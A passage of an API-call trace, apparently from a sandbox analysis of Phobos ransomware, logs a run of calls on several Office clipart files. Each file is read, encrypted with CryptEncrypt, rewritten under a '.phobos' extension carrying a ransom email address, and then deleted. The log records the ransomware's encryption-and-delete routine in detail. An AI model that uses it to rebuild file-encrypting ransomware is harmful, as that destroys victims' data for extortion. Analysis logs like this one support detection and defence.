returned 1 [0061.510] CloseHandle (hObject=0x300) returned 1 [0061.510] CloseHandle (hObject=0x328) returned 1 [0061.511] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0061.512] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.512] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=31122) returned 1 [0061.512] CloseHandle (hObject=0x328) returned 1 [0061.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0061.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.512] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.512] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.513] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc810) returned 1 [0061.513] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.513] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x7992, lpOverlapped=0x0) returned 1 [0061.514] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x79a0, dwBufLen=0x79a0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x79a0) returned 1 [0061.515] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x79a0, lpOverlapped=0x0) returned 1 [0061.516] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc650) returned 1 [0061.516] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.516] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.516] CryptDestroyKey (hKey=0x10dc650) returned 1 [0061.516] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.516] CryptDestroyKey (hKey=0x10dc810) returned 1 [0061.516] CloseHandle (hObject=0x328) returned 1 [0061.516] CloseHandle (hObject=0x300) returned 1 [0061.517] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0061.519] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.525] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=8256) returned 1 [0061.525] CloseHandle (hObject=0x310) returned 1 [0061.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0061.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.526] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.526] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.526] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc910) returned 1 [0061.526] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.526] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x2040, lpOverlapped=0x0) returned 1 [0061.528] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2050, dwBufLen=0x2050 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2050) returned 1 [0061.528] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2050, lpOverlapped=0x0) returned 1 [0061.529] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0061.529] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.529] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.529] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0061.529] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.529] CryptDestroyKey (hKey=0x10dc910) returned 1 [0061.529] CloseHandle (hObject=0x310) returned 1 [0061.529] CloseHandle (hObject=0x334) returned 1 [0061.530] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0061.531] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.533] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=29628) returned 1 [0061.533] CloseHandle (hObject=0x310) returned 1 [0061.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0061.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.534] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.534] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.534] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0061.534] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.534] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x73bc, lpOverlapped=0x0) returned 1 [0061.742] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x73c0, dwBufLen=0x73c0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x73c0) returned 1 [0061.742] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x73c0, lpOverlapped=0x0) returned 1 [0061.743] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dca50) returned 1 [0061.743] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.743] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.743] CryptDestroyKey (hKey=0x10dca50) returned 1 [0061.743] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.743] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0061.743] CloseHandle (hObject=0x310) returned 1 [0061.743] CloseHandle (hObject=0x328) returned 1 [0061.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0061.746] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.746] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=37974) returned 1 [0061.746] CloseHandle (hObject=0x328) returned 1 [0061.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x220 [0061.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.747] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.747] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.747] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0061.747] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.747] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x9456, lpOverlapped=0x0) returned 1 [0061.861] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9460, dwBufLen=0x9460 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9460) returned 1 [0061.861] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x9460, lpOverlapped=0x0) returned 1 [0061.863] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc950) returned 1 [0061.863] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.863] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.863] CryptDestroyKey (hKey=0x10dc950) returned 1 [0061.863] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.863] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.863] CloseHandle (hObject=0x328) returned 1 [0061.863] CloseHandle (hObject=0x310) returned 1 [0061.864] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0061.866] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.868] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=792) returned 1 [0061.868] CloseHandle (hObject=0x328) returned 1 [0061.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0061.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.869] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.869] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.870] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc610) returned 1 [0061.870] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.870] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x318, lpOverlapped=0x0) returned 1 [0061.963] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x320, dwBufLen=0x320 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x320) returned 1 [0061.963] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x320, lpOverlapped=0x0) returned 1 [0061.964] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc910) returned 1 [0061.964] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.964] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.964] CryptDestroyKey (hKey=0x10dc910) returned 1 [0061.964] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.964] CryptDestroyKey (hKey=0x10dc610) returned 1 [0061.964] CloseHandle (hObject=0x2fc) returned 1 [0061.964] CloseHandle (hObject=0x330) returned 1 [0061.965] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0061.966] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.971] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7828) returned 1 [0061.971] CloseHandle (hObject=0x300) returned 1 [0061.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0061.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.971] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.971] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.972] CryptImportKey 